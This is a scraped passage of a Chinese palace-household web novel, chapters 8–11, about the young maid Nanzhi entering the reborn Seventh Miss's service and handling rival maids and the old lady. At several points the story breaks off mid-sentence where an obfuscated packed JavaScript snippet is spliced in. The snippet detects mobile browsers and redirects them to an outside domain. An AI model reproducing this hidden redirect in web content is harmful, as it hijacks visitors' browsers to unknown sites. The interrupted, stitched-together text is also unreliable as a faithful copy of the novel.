正说着，忽的外头有人喊她，“南枝，在不在？” 南枝开了门，几个十岁出头的姐儿扎堆来寻她说话，她拿了几块鸡蛋糕给她们，又说，“我姐姐给我收拾着，家里乱糟糟，就不请你们进去了。” “没事没事，我也带了吃食给你。” “还有我的绢花，是时兴的花样，你瞧瞧喜不喜欢。” 往日里她们与南枝只是会聊几句，断不会像今日这样，还送东西。因着爹娘出事走了，她与姐姐被很多人瞧不上，觉得她们命数不好，同一个院儿住的姐儿，也只有青儿不嫌她家情况，隔三差五与她腻在一起。 不过自从青儿去当差，南枝就又独来独往。 等南枝再进门，把手上的绢花、栗子、果脯放下，王娘子就以一种玩趣儿的调子叫她，“南枝姐姐。” 这是来交好呢。差事有限，也不是每个姐儿都能进院子，一些父母使不上劲儿的，自身又不出彩，去大厨房当烧火丫头都选不上。在她们眼里，能去青竹轩已经是份不错的前程。 “值钱的物件都收好，要是有拿不准的事，你就来问我，福寿堂守门的彩盛与我交好，她不会骂你的。”王娘子讲了许多，既不放心，又为妹妹骄傲，一进去就有名有姓了，往后有奔头！ “还有一件事，七姑娘身边的茯苓被老夫人罚了，如今在青竹轩只干粗活，她娘吴妈妈指不定憋着气，你新进去，小心她编排你。茯苓也是，丢了面，先前又看你不顺，脏手段说不得就使你身上。像甚么让你倒茶，实际泡的茶叶不是姑娘爱喝的；又或者是不是你的活，偏让你帮忙，结果漏了自己的活计，被姑娘责骂；更过分的也有……” “青竹轩罚了茯苓，至于剩下的大丫鬟秋扇……”她都打听清楚了。 南枝耐心地听着。 翌日，她姐没空，南枝就自己挎着小包袱，往青竹轩去了。 8. 品性各异 “时间正正好，来，我带你去住的厢房。姑娘还没起，不着急去见姑娘。”在门口迎她的是翠平，“你吃了没，我给你留了两块酸枣糕，酸酸甜甜开胃。” “谢谢翠平姐姐。”南枝没想到翠平待她这样热切，接过了用丝巾裹着的酸枣糕，又说，“巾子我给姐姐洗晾好。”她听她姐说过，丝巾不能暴晒，只能晾干，不然会走形。 “不用，你拿去用着，你瞧你，身上素得很，这绿丝巾衬你，好看。”翠平脸尖尖，行事自由一股爽利感，她比南枝大五六年，也乐意对她好。 “好，谢谢姐姐。”南枝说，她注意到翠平衣领的花纹很精细，推断她的喜好，又仔细观察所见的事物。 “瞧你，见外了。”翠平推开一扇门，指了指其中一张已经空出来的床说道：“你住那儿，先前的人已经搬走了。” 青竹轩经历了好一番动荡，因着七姑娘落水，当天听令服侍的两个丫鬟就被老夫人狠狠罚了一通，又撵出青竹轩，教她们干粗活去了。 也不是所有都赶走，茯苓运气好，七姑娘还给她求情了，让她呆在院子里扫地。 二等丫鬟是四个人住一间，正中间放着一张圆木桌，四个凳子合在桌底。四个角落分别摆放着架子床，两两中间贴墙放着梳妆台以及盆子架，最里头架着一道没有雕刻任何花纹的屏风，用来遮挡，里面是浴桶。 “床底下有木箱子，你的东西可以放里面。”翠平带南枝一一看过，又指着其余两张床说道：“这是流云还有满月的床，流云跟你一样，在茶水间当差，满月则是管着姑娘的三餐，平日里去拿菜或是姑娘要定菜，都是她去大厨房。” 青竹轩有小厨房，不过夫人并没有安排做大菜的厨娘厨子，只有一个做糕点包子的娘子，味道也算不得十分好。 往下还有四个三等以及六个四等的丫鬟，并两个杂活婆子，这两个婆子却不是青竹轩独有，而是与其他院子一并支使。南枝一一记住了，李府一共五房，也就五房这儿的主子丫鬟仆从多，因着五夫人娘家是富商，每个月流水似的银子金子送进来。 福寿堂那儿也是这个规格，五夫人走私账养着，专门孝敬老夫人。她姐偶尔进内伺候老夫人，听闻过一耳朵。 至于为何官商结亲，这个她姐姐也不清楚。 “翠平姐姐，姑娘起床了。”门口有个脸像饼子般扁平的丫鬟，翠平应了，“知道了，双儿，你去忙吧，” 南枝迅速把名字与人脸对上，这是四等丫鬟，扫地的。 “随我来。”翠平说，南枝跟着她出去，就看见几个丫鬟捧着铜盆、白色的巾子、痰盂等等梳洗的物什进正屋。南枝尚且在外等候，过了半响才得了进去的令。 南枝快速扫了一眼，七姑娘正坐在太师椅上，有丫鬟正放下手里的托盘，过去伺候，却被一句“退下”吓得不敢动。她注意到七姑娘瞥了眼丫鬟的手，转头时脸色明显有些沉。 不算好伺候。 “奴婢见过姑娘，请姑娘安。” “起来。”七姑娘声音慵懒，有股慢条斯理的味道，“你过来替我梳头。” “是。”虽没有做过，但南枝心里有数。她出声询问道：“姑娘，奴婢先出去洗干净手。” “就用那的水。”七姑娘说。 没有指明，南枝领悟，到三角雕花立地架旁，用七姑娘尚未净面的水洗了手，又仔仔细细用帕子擦干，最后对一旁候着的丫鬟说道：“劳烦再去换盆换水，姑娘要洗面。”如此安排一通，最后再拿起梨花木梳妆台上的半圆形梳子，轻轻替七姑娘梳头。 七姑娘闭目养神，直到耳边有人问她“要甚么发型”后，她才睁眼，“垂云髻。”透过铜镜，她不错眼地看着替她挽发的丫头，见她目光澄澈手腕很稳，不错，先前只以为她有忠心，这会儿看来，还很稳重不怕事，是个可栽培的有用之人。 “我记得你不是从小学梳头，怎么也会？” “姐姐教我的，她说技多不压身，总要多学。要不是奴婢做菜太难吃，姐姐还想教奴婢成为厨娘。”这倒是假话，王娘子会梳头，但手艺算不上好，她会梳头的手艺是觉醒了记忆记起来的。 “很好。”七姑娘随手从妆匣中捏了一根金镶玉绿朱雀钗子，笑着说道：“赏你的。” “谢七姑娘。”南枝接过钗子，又说，“奴婢没见过许多的首饰，怕装扮得不完美，姑娘，不如让一直伺候您的姐姐给您戴头饰？” 过犹不及。她得了金钗，本就引人注意，要是不退着点，相当于得罪了房内的丫鬟们，又加上丫鬟们沾亲带故，届时整个青竹轩都不待见她，何必呢？ 来日方长，慢慢来。 “嗯，你出去吧。”意料之外，七姑娘原以为她会随着竿子往上爬，但她这番言辞，教她更添几分喜爱。懂进退知分寸，很难得。 南枝低着头退出来，她把金钗贴身放好，转头去了挨着正屋的茶水间。 一进门，就闻到了茶叶的清香味，南枝不擅长品茶，闻不出来这是什么味道。打眼一看，里头的圆桌旁正坐着一个圆脸杏眸的的姐儿，她一手拿茶壶一手拿茶盏，端的是熟练。 “流云姐姐好。”南枝开口打招呼，流云比她大八岁，已经十六了，是五夫人陪嫁的女儿。 “坐。”流云笑眯眯，没有任何架子，她把一碟子话梅往南枝面前推了推，“吃点，你跟我进青竹轩的年纪一样，有什么不懂的就只管问我。” “诶。”南枝含着一颗话梅，又瞧着能开合的琉璃茶柜子，如今流行这样的茶柜？她不动声色地试探道：“流云姐姐，这柜子里头放的是茶叶么？我都没见过这样的柜子。” “对，琉璃柜，就连把手都是银制的，瞧瞧，可好不好看？”流云起身，开了茶柜，又一一介绍存放的茶叶，“玉山小种，阳春雪芽，群芳醉……” “这是姑娘专门叫人做的吗？真是别致。”南枝装足了“无知”模样，引得流云一笑，回答她，“不是，是先夫人的陪嫁。” “不同的茶叶应当泡的时间不同吧？”这方面南枝确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270895|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实不懂，便直接问，“还要姐姐费心，不嫌我麻烦。” “无妨。”流云依旧笑嘻嘻，很好相处。 这一上午，南枝就在茶水间度过。七姑娘病着，不能喝茶，也没有客人登门，故而清闲。 “南枝，你先去用饭，我在这里守着，万一有客，得有人冲茶。”流云说，南枝便去了，她头一回来，很多事都不懂，也不知道用饭的规矩。 正往大厨房走着，忽的瞧见了身后跟着两个丫头的翠平，她乖乖叫了一声，“翠平姐姐。” “你去哪？”翠平停下，待听见她说“大厨房”后，便自打手背，说道：“瞧我，今个忘记跟你说，咱们用的饭菜都是双儿她们轮流拿回来，不用去大厨房。你跟我一起回去，要是你自个去了，少不得被人笑一回。” 南枝诧异了一瞬，流云也没和她说这事，是忘了，还是故意？她之前还没有当差，大厨房没有她的份例，她自然就不清楚青竹轩的丫鬟是如何用饭。 显然，翠平也想到了这一层，她没再开口，怕教人觉得她挑拨离间。沉默了一路，等远远看见青竹轩院门，她才轻声提醒道：“往后有事先问问我，免得吃亏。” 一个院子不可能和和睦睦，丫鬟那么多，自然有争斗。更何况从前茯苓便是一个好争的人，围在她身边的就得了支持，变本加厉起来。 回到了厢房，桌面上放着两个竹篮子，其余两个人还没有回来。 “满月伺候姑娘用饭，流云当值，我们先吃着，不用等了。”翠平刚说完，南枝就上前打开篮子，又把菜拿出来。 两碗米饭，一碟子白灼菜心，一道肉片炒青瓜，一碟子爆炒鸡脚鸡心，成色不算好，还比不得南枝自个做的。 “翠平姐姐，吃饭了。”给翠平递了筷子后，南枝才提筷，吃了几口，米饭硬邦邦，菜心是水煮，吃起来盐是盐菜是菜，一点也不好吃。 嘴刁的南枝速度慢下来，翠平见状问她，“可是不合口味？” “合的，只是想让姐姐多吃点。”谎话张口就来，南枝起身倒水，一人一杯，这饭太刺嗓子了。 “不好吃，饱不饱无所谓，还能吃糕点顶肚儿。”翠平草草放下筷子，喝了水后，不禁叹气。大厨房的人狗眼看人，她们姑娘没有给打赏，厨娘厨子们便也随意应付青竹轩，比起九姑娘院里的丫鬟，她们的伙食要差很多。 “诶。”不多时，南枝也放下碗筷，与翠平说，“姐姐，我回去当差了，流云姐姐还要吃饭。” “去吧。”翠平目光深深，不知在想甚么。 只是还没靠近茶水间，忽的就闻到一股香味，南枝进门，看见流云与一个穿着有几分相似的姐儿吃着饭，三菜一汤，蹄花炖花生、红烧鱼、糖醋里脊以及豆腐烧茄子，上边的油似乎都微微凝固，闻不到香味，只有油腻的视觉。 南枝与抬头的两人对视，流云眼底闪过一丝讶然，随后笑了笑，另一个则是挑着眼睛，上下扫着她。 真有意思。南枝心里想着，也挂上笑脸，进门。 9. 当差 “南枝，你吃完饭回来了？”流云面上看不出什么，依旧是那副无甚心机的活泼模样，一旁的姐儿生的眉清目秀，秀发黝黑柔顺，只眼角眉梢间透露着算计，瞧着不好接触。 这是满月？南枝猜想，桌上的菜色品相略差，但也不是丫鬟的伙食，大概率是七姑娘赏下来；能与流云一同吃饭，地位与她差不离，她手上的银戒子与绞丝银镯子能佐证；最后一点，也只有伺候七姑娘用午膳的满月有机会出现在茶水间，旁的丫鬟这会儿都回厢房了。 果不其然，下一秒，流云便又说道：“不认识？你们还没见过吧？这是满月，这是南枝，往后咱们就住一间房了，都是姊妹。” “原来是满月姐姐，我怕认错，不敢叫哩。”南枝年纪小，叫谁都是一声姐姐，她坐下，不好意思地低头，一副腼腆羞涩的样子。在外人面前，她一贯是这样有些“谨慎”，在七姑娘面前机灵能得到赏识，在这些同事面前机灵却只能得到忌惮与排挤。 更何况，目前还不知晓她们的真面目，她自然也不可能露底。 “你就是南枝？看你身量不止八岁。”满月提着一边的眉毛问，几个字唱出来的一般，好似江南烟雨的吴侬软语，倒让她的面相都可爱起来。 “回姐姐的话，我自小吃得多，长的快。”她姐经常塞她东西吃，甚么炸汤团、烤鸡、炸福袋丸子等等，能不长肉长高么？ “可要一起吃？姑娘赏的，都是荤腥。”说着，流云就预备起身，只是还没动，就被南枝按住了，“不用，我吃过了，饱的很。” “可有姐姐在？”外面小丫头敲敲门，又探头进来说道：“五姑娘六姑娘来了，要上茶呢。” “这就来。”流云刚应完，南枝就问她，“我给姐姐打下手。” 热水一直用炉子烧着，南枝选了一套茶具，随后冲洗干净，便在一旁候着，眼睛半分不错地盯着流云的手，看她称茶叶、放茶叶、冲泡、倒出第一遍的茶水，等了几息，才往三个茶盏倒了清汤，色泽润黄，茶味飘香。 好一番手法！ 比教她的时候还要流畅丝滑，仿佛不用思考，已经千锤百炼才习得泡茶的功夫。 南枝记下后，看流云捧起托盘，便主动说道：“我在这里烧水，姐姐快些去吧。” “好。”流云点了点头，心中浮起一丝满意，觉着她虽不出众，但还算有眼色。 留下东西需要收尾，南枝舀了水到炉子里，又加了几块银丝炭，屋内不会有任何烟熏的气味，她慢慢地做着活计，给茶叶罐子盖好封存，把桌面上的碎茶叶扫到篓子里，全程沉默，屋内多了一个人，她却也不会主动套近乎。 她不急，有的是人急。 满月放下筷子，用贴身带着的帕子擦了嘴边不存在的油腥，她余光看着一直忙忙碌碌的人，不禁疑惑，瞧着南枝也不像流云说的那般不安分，想了想，她唤道：“南枝，你从前学过什么？有习得点茶的手艺吗？” “没呢。”这个南枝确实不会，当初她姐姐也想找个会点茶的妈妈婆子教她，但没点关系，人也不肯教，她与她姐又不想将就学个半桶水，就一直耽搁着。 这会子见了流云真正的能力，她就有了想法，甭管流云待不待见她，要是有好处，她赚不赚？要是想赚，她就得了老师。 “我认识的人都不会点茶，便只学了梳头、栽花。院里是流云姐姐点茶最好么，我瞧着好生厉害。”南枝回想早上的事，打了个补丁，“晨起时姑娘教我帮她梳头，那垂云髻就是从前学到的。” “属她的茶水最清亮甘甜。”满月说，语气里隐隐有骄傲。 不厉害怎么能进茶水间？ 又注意她后头的那句话，见她主动提这件事，满月便又觉得她老实本分，一般丫头得了讨姑娘开心的机会，定会忍不住显摆，可她观南枝神色，倒十分平常，也没有借此践踏谁。 “你梳头为何想着先洗手？”七姑娘从前也不在乎这些小事，可今日却因这个不悦，虽没有发作，但伺候的丫鬟总会惴惴不安，尤其是青竹轩刚撵走了两个人。 这是打听消息来了？与她揣度的差不离，南枝把早已想好的话说出来，“我头一回伺候姑娘，就想着精细些，不能惹姑娘生气，洗了手干净，才配伺候。” 说完，她回头看了满月一眼，有些担忧地问道：“怎么了满月姐姐，可是我做的不对？” “倒不是。”满月想夸她做得好来着，可转念一想，与她又不熟，为何作这等夸耀的话，哼，不讲！ 梳头的迎雨方才在里头，还说她小小年纪心机深沉，流云又说她不日就会抢走大丫鬟的位置，她看完全不会。等出了茶水间，她正好碰上流云，谈了两句，款款离开。 流云脸上带笑，可见是遇了好事。 南枝不嫉妒也不问，反正她得了好，过不了多久她总能从别人嘴里听见。临近下值，小厨房的烧火丫头送了一碟马蹄糕来，晶莹剔透，一共四块，流云自个就吃了三块，南枝记在心里，暗自琢磨。 待吃罢了点心，流云笑着与南枝说道：“你头一天当值，没甚经验，不如先试着值夜班，晚上事情少，也不容易出错。就是容易犯困，你能不能做成？” 打着为她好的口吻占便宜？南枝不吃亏，当即就说道：“也成，只是不知道夜班是我与姐姐每日轮着来还是隔几天换一次？” 流云嘴角那抹笑意略微一滞，原是想着她第一日进院子，情况都不熟，年纪又小，就能轻易哄她当夜班。茶水间夜间也要留人当值，之前她与另外一个丫鬟共事的时候，那个丫鬟仗着有人撑腰，硬是让她守了一段时间的夜值，累的她身心俱疲，所以这会子就想要见新人吃一吃她先前的苦头，不成想她倒直接。 是脑子转得快，还是单纯耿直？流云缓了缓又说，“我是想着，夜值锻炼心性，你做一段日子，往后大有受益，有客人上门，你就端茶倒水，不难的。” 把流云逼急了不妥，况且她还有事求她，好让她学会点茶，南枝暂且退了一步，“那今夜明夜我就值守，我先记在册子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“姑娘可是睡不着？”进门后，丫鬟们分工明确，一个点燃烛火，一个撩起一半的蚊帐，披发的七姑娘就坐在床边，额头冒汗浑身颤抖，还双手捂着肚子。这可把丫鬟们吓坏了，还以为姑娘又病了，她们要担责的。 “姑娘，可是需要奴婢请大夫？” 七姑娘呆愣了一会儿，摇摇头，“不必，只是做噩梦了，你们下去吧。”见她们犹豫，她加重语气，“还不下去？” 待她们走后，她独自静坐，毒酒绞断肠子的感觉似乎还在身上，搅得她夜不能寐。重活一回，她也该好好想想，该如何走面的路，是另选夫婿，还是跟上一世一样，进宫？ 斗吗？ “叩叩”两声，门外响起耳熟的声音，“姑娘，奴婢为您冲了安神汤，姑娘可要喝？” 是那个叫南枝的丫鬟。 “进来吧。”七姑娘侧头看过去，正见南枝披着衣裳举着托盘，碗挡住了她的脸，只听见她说，“姑娘，守夜的文儿书儿教奴婢给您准备安神汤，正合适入口，让两位姐姐伺候姑娘喝可成？” “嗯。” “一人赏一两。” 跟在后面的文儿书儿不由得面露欣喜。 如此喝完一碗安神汤，文书二位给七姑娘安置，等正屋的灯再次黑了之后，文儿摸着黑来了茶水间。 开口便是一句“感谢”。 10. 挑事 “谢我做甚，明明是两位姐姐心疼姑娘，主动寻上我，如此为姑娘分忧，可不是？” 昏暗烛火下，这小小的姐儿恍若菩萨娘娘身边的仙童一般，说话轻软又坚定，教人信服。文儿有一阵恍惚，随后便也应道：“是了，左右咱都有功，往后你守夜，别怪姐姐我叨扰，与你做个伴。”这就是要主动交好的意思了。 南枝目的已经达成，自然也愿意顺着她的话，“那感情好，明儿还是我守夜，姐姐只管来。我刚泡了茶，是我自个备的，不是甚好茶叶，只苦味回甘，喝了特别醒神，两位姐姐可要来一杯？” “我就不客气了。”文儿约莫十三，如她的名字，斯文安静，捧着茶杯走了，也没有多说。 挺聪明的。南枝知道她听明白了自己的意思，有她们两个担着，她跟在后头喝口汤就行了。送安神汤虽然是她自己的想法，但她不能过于出头，如此把文儿书儿也拉上，也就不算引人注意。她们切切实实得了好，也明白该如何做，嘴严实点，为她遮掩。 最得便宜的还算她。七姑娘、书儿文儿那儿都漏了面，这第一步，迈出去了。 次日，院门开了锁，正在厢房穿衣裳的流云还迷糊着，替她们打水的冬霜放下水盆，凑到她身边咬耳朵，不多时，流云脸色不变但眼里却沉下来。 没成想让南枝捡了一个便宜，那文儿书儿往常不见有什么作为，这院里一缺了个大丫鬟，就抖起来了？连带着那个新来的也得了份赏，真真可恨。 “还不快些，等下姑娘要用茶，总不能叫南枝去，她熬了一夜，怎的见人？”翠平催了句，又与穿鞋的满月说，“你总让底下的人帮你拿菜，也不看着点，万一惹了姑娘不乐意，有你好的。”说罢，她就出门了。 “光骂我们有什么用，哼，她自己领着管姑娘铺子账簿的事，多轻省，也不把差事与我们换换。”每天起来都脸臭的满月憋着气，才醒就挨一顿说，她招谁惹谁了？ “你别气，她就这样，得姑娘喜欢，说不定很快就升作大丫鬟了，也有资格教训咱们。”流云挑拨，她奸滑得很，自个不去与翠平对着，反而挑起旁人的火，等着坐收渔翁之利。 满月虽然脾气不大好，可也不是混浊的人，闻言不吭声。 * 南枝回厢房时，里头已经没有人了。 桌上有给她留的早饭，肉包子、黑米粥并两样小菜，南枝拿起肉包子，凉的，而且里面肉馅的油都已经渗出来，教人没胃口。她掰着白边吃，全是白肉的馅丢掉，几口吃完黑米粥。 “南枝在吗？” 南枝看去，是一个样貌周正的姐儿，身上的裙儿颜色有些沉，瞧不出原本的色泽，看起来二十来岁，她拎着一桶水，说道：“我来给你送沐浴的水。” “搁这吧，你是？”南枝边问边打量她，见她走路一瘸一拐，就迅速想到了她的身份：小厨房唯一一个厨娘的妹妹，嫁过一回和离回来，在小厨房做些杂活，没工钱的，叫陈小娘子。 “叫我陈小娘子就行，我姐姐让我来给你送水。”陈小娘子放下桶，低着头，手指搅和着裙儿，颇有些局促的意味，瞧着十分不善言辞。 “劳娘子帮我把水倒进浴桶里。”浴桶是自带的，南枝不习惯用共用的浴桶，等陈小娘子照做之后，她拿出从茶水间烤好的花生出来，“我也没什么值当的东西，就一点花生，娘子别嫌弃。” “不敢，烤花生也难得。”陈小娘子干巴巴地说，接过花生后又提起木桶，“我还要去和面，就先走了。” 小厨房里，陈大娘子正忙活着，余光一直注意门口，见妹妹回来，立马把她叫过来问，“怎么样，见到了？有没有说好话？” “见到了。”陈小娘子像个石磨，推一下才动一下，多的话那是一个字也说不出，甭管面对谁。 陈大娘子闭着眼睛深深吸气呼气，随后睁开眼，陈小娘子还在长桌边看着她，她没好气地说道：“还不过来和面，真是锯嘴葫芦。指望你得脸提携我是不能了，我还是多多精进手艺吧。” 可再如何精进，她会的就那几样，姑娘早就吃腻了，这两天捧进去的糕点动都不动，时间长了，恐怕她就要被赶出去了。 * 一觉睡醒，下午了，天边云彩卷成一团，南枝难得赖了一会儿床，翠平在看账簿，头也不抬地说道：“你姐姐方才来了，托我把东西给你，就搁你床头。” “谢谢翠平姐姐。”南枝拆开了她姐封好的油皮纸，是两样糕点，“姐姐吃么？” “不了，就快吃晚饭。”翠平一心二用，拨着算盘回她。 两人安静下来，唯有咀嚼声与算盘的噼里啪啦声混合成一曲歌儿，倒也悦耳。只是平静还没维持多久，扫洒丫鬟双儿就来寻二人，“两位姐姐，姑娘让你们去正屋听差。” “快些走。”匆匆出门，又发觉旁边住着的厢房纷纷开了门，南枝与翠平对视一眼，嗅到一股事儿不小的气息。 正屋不小，此刻却站满了丫鬟，流云与满月站的那排还有两个空位子，南枝站了靠边的那个，随后垂头，双手放于腹部，不发出一丝声响。 “姑娘，人都齐了。”连陈大娘子与陈小娘子也来了。 靠在抱枕上的七姑娘扫视了一圈，声音散漫地问道：“陈妈妈病了，茯苓也病了，不成想，青竹轩反倒静下来。” 一个奶妈妈，一个奶姐姐，原应该是管院子的好手，同时离了，青竹轩却变好了，怎么不是一种讽刺？ “我院子里的份例有一个算一个，都不能少。不日我就会再选一个大丫鬟，也好让院里热闹热闹，只不过这人选，我一时竟挑不出来。”七姑娘漫不经心地说，在瞧见某些人按耐不住的神色时，她无声冷笑，不安分的，看她择出来，通通使劲儿赶走。 “平常我也不怎么管院子，这一下让我找怕是也难，左右祖母让我养病，我就先养个两三个月，过后再细看你们，挑个好的上来。”她现在面色带了红润，不再惨白，生得好，此刻浅笑的模样初具美人风姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“快到祖母身边，让我仔细看看，是不是瘦了。”一身暗黄绣雀绸子的老夫人开口，满脸皱纹堆在一起，看着慈眉善目，她拉着孙女的手，问道：“大夫说你亏损，怎么不将养着，要是落下病根，那可是一辈子的事。” “再重要的事也比不上见祖母，况且走一趟也不远。”七姑娘说，正说着，琉璃在一旁问是否要传膳。七姑娘眼眸波动，窝在老夫人怀里说道：“祖母，孙女原想下厨给您做吃食，奈何身体不成，不如暂且先用我的晚饭孝敬祖母，要是祖母有喜欢的，我过后亲自做了奉与祖母。” 大家闺秀哪里会真的下厨？不过厨子做好了，她浇上汤汁，便算亲手了。 老夫人也明白，心里熨贴，小孙女儿总归是孝顺，她也不阻止，“行。” 七姑娘就看向秋扇，“去提膳。” 她眉眼含着笑意，祖母，那般的饭菜您吃得消吗？ 在下边站立的南枝想到了昨天看见的三菜一汤，皆是不适合病人入口的吃食，大厨房的人有多敷衍？ 这会儿七姑娘特意到老夫人跟前，想必有一场好戏看了。 11. 金步摇 “我瞧着你倒是好动了不少，往常安安静静，跟个鹌鹑一样，生怕旁人吃了你。”老夫人也觉着稀奇，但她以为七姑娘是鬼门关走一回，所以性子有了变化。 她活的年岁长，从前也听闻过这样的事，哪家的孩子出了事，醒过来后性情大变，盖因经历了大事，有所改变。 “从前只以为自个不讨喜，所以不愿意多说多做，可前个落了水，醒来瞧见了祖母、母亲、伯娘，后头祖父与父亲也问了孙女的情况，孙女才知，家里那么多人关心呵护，也就想开了。”七姑娘依偎在老夫人怀里，字字发自内心，“往后孙女要多多来与祖父祖母请安，时常见你们，不叫你们担忧。” 老夫人面上动容，人老了，便喜欢小辈在跟前讨欢乐，七姑娘小小一个就知道孝敬她，不容易，她又没个亲娘照看，奶妈妈也出府养病，想必这些话是她的心里话。 “你这个孩子，咱们是一家子，难不成你不来看福寿堂，祖母就不在乎你了？”老夫人搂紧她，感受到怀中的小人肩膀咯手，就皱着眉头说道：“怎么瘦了这样多，平常没有好好用饭？你身边的人是怎么伺候的，也由着你不吃？” 秋扇去了传膳，屋内剩下一个南枝是跟着七姑娘来的，老夫人话音刚落，南枝就绕过一排太师椅，快步走到两人面前，曲膝解释道：“回禀老夫人，咱们姑娘日夜烦忧，总觉着给长辈们添了烦忧的事，故而胃口不好。” 这话的意思，就是说七姑娘瘦不是因为我们丫鬟伺候不周，而是她是个孝顺的好孩子，惦记着长辈才茶饭不思。 您可别罚我们。 南枝第一回跟七姑娘出来，如果就此被老夫人问责，往后还如何得到重用？ “是呢祖母，她们也没错，我不吃，她们还能拿着碗塞进我的嘴？”七姑娘也跟着说了句。 老夫人有些诧异地看着下边的丫鬟，她似乎比七姑娘大一些，面皮稚嫩但行事有规矩，人也有几分聪明，眉间的不虞散去，她问道：“我怎么没见过你？我记得七姑娘身边的人都是十七八岁，怎的多了一个这样小的？” 南枝与七姑娘都没有开口回答，她们一个救人一个被救，无论怎么说都失了纯粹。 倒是琉璃，接过话茬，“老夫人日日潜心礼佛，有所不知。这个叫南枝，就是救七姑娘的那个丫头。七姑娘心善，教她到青竹轩茶水间听差。”待说完这段，她观老夫人神色，见她恍然，便继续说道：“老夫人别看她年纪小，但您瞧瞧，下盘稳回话快，可见定能服侍好七姑娘。” 老夫人点点头，也赞了句，“是不错，有她在你身边，往后也算得用。” “祖母觉得她好，不如赏她几件东西，让她当差更上心。” “你个滑头，窥着我这儿的物件。也罢，琉璃，带她去库房选两样首饰，再赏她几颗金花生。”短短几息就花出去几十两银子，老夫人不在乎，她攒着不少，加之又有五夫人这个手松的儿媳，日子不知有多滋润。 南枝便跟着琉璃出去了。 “我那就南枝一个跟我年岁相当的，我身边的丫鬟都大了，先前吴妈妈还与我说，她们都快要婚嫁，往后还不知当甚么差，刚好母亲要给我们选丫鬟，我就想趁着这个机会，放出去一批人。祖母您觉得如何？”七姑娘小脸上满是正经，这些丫鬟都是五夫人给她挑的，谁知道真正效忠的人是不是正院。 再一个，她之前为她们求情，让她们留下，如今又用婚嫁的理由放出去，光明正大的为她谋了良善的好名声，一举两得。 “也是，这往后她们都嫁出去，缺的人太多，你就趁此再补几个，要是没有中意的，与祖母说，我给你。”老夫人指了指屋内当差的丫鬟，都是花一样的年纪，“在我这儿调教了几年，说话做事样样都好，去伺候你我也放心。” “她们是祖母的人，就得在您身边才出彩，要是给了我，我不会调教呢。”七姑娘脸上的愁绪真实，引得老夫人不住地笑，心里别提多舒坦了。 “启禀老夫人，晚膳备好了，可要传菜？”另一个大丫鬟适时出声，一颗心七上八下，见老夫人与七姑娘不再谈论福寿堂的丫鬟，她才松了一口气。 去青竹轩还是留在福寿堂，傻子都会选。 * “这些都是老夫人的首饰，你看看喜欢哪个。” 福寿堂的库房很大，整齐划一的摆放着几十个红木箱子，琉璃开了其中一个，再一一打开各式大小不一的雕纹木盒，里头装的都是头饰，甚么钗、步摇、簪子、小插、掩鬂、笄、钿花等等，还有些南枝也认不全，只觉得眼前金光灿灿，华贵之气扑面而来。 “我年岁小，且没甚么见识，不若姐姐帮我挑两个合适的，也好不出糗。”南枝不知哪些是老夫人心爱的物件，万一之后老夫人突然想起，又被她拿走了呢？ 虽然知道琉璃让她选的大抵是老夫人不戴的头饰，可南枝还是不愿意堵这点概率，更何况，她也有自个的考虑。 “也好，等我看看，这跟步摇就不错，红宝石衬气色，再有就是这个小插，上头的金箔闪闪发亮，金贵，你觉得可好？”琉璃一手一件头饰。 步摇整体是金子打成，蝴蝶样式，两侧薄如蝉翼的翅膀飞随着琉璃的动作一颤一颤，中间镶嵌了宝石，光线照在上边，显得光彩夺目。宝石下边还有三根细小珠子串成的流苏，摇动间，碰撞发出清脆的响声。 小插是玉石打造，做成几瓣花朵，零零碎碎贴了金箔，亦是光彩照人，适合像南枝这样的小丫头，主要是她能梳的发髻不多，小插搭哪个都可以。 心中有了计较，南枝便应了，“姐姐眼光好，就这两件吧。” “成，还有金花生，我拿荷包给你装着。”琉璃说，只刚锁好箱子，她就听见南枝说，“不劳烦姐姐，我有荷包，就放我这儿。” 等拿到三颗金花生之后，南枝摸出自个的荷包，收拾收拾，把蝴蝶步摇还有金花生通通放进大荷包里，再塞给琉璃，“这等贵重的物品我怕丢了，不若姐姐帮我贴身放好，等之后再给我。”说着，她还把小插戴上，教琉璃帮她看位置正不正。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“来人，去把大夫人叫来，我倒要问问她怎么管的家，连自家姑娘受苦都不知道。还有那几个刁奴，一并带来，我要好好处置。”老夫人恨恨一拍桌子，又看向七姑娘，“伺候姑娘去洗脸上妆。” 等七姑娘与她的两个丫鬟去了后头内室，琉璃才上前安抚道：“老夫人莫气坏了身子，七姑娘也是一片孝心，不是有意让这些不入眼的东西摆在老夫人跟前。” 想了想金与宝石造成的步摇，琉璃为七姑娘说好话的态度便积极了不少。 “她是真不知？”老夫人仍旧怀疑。 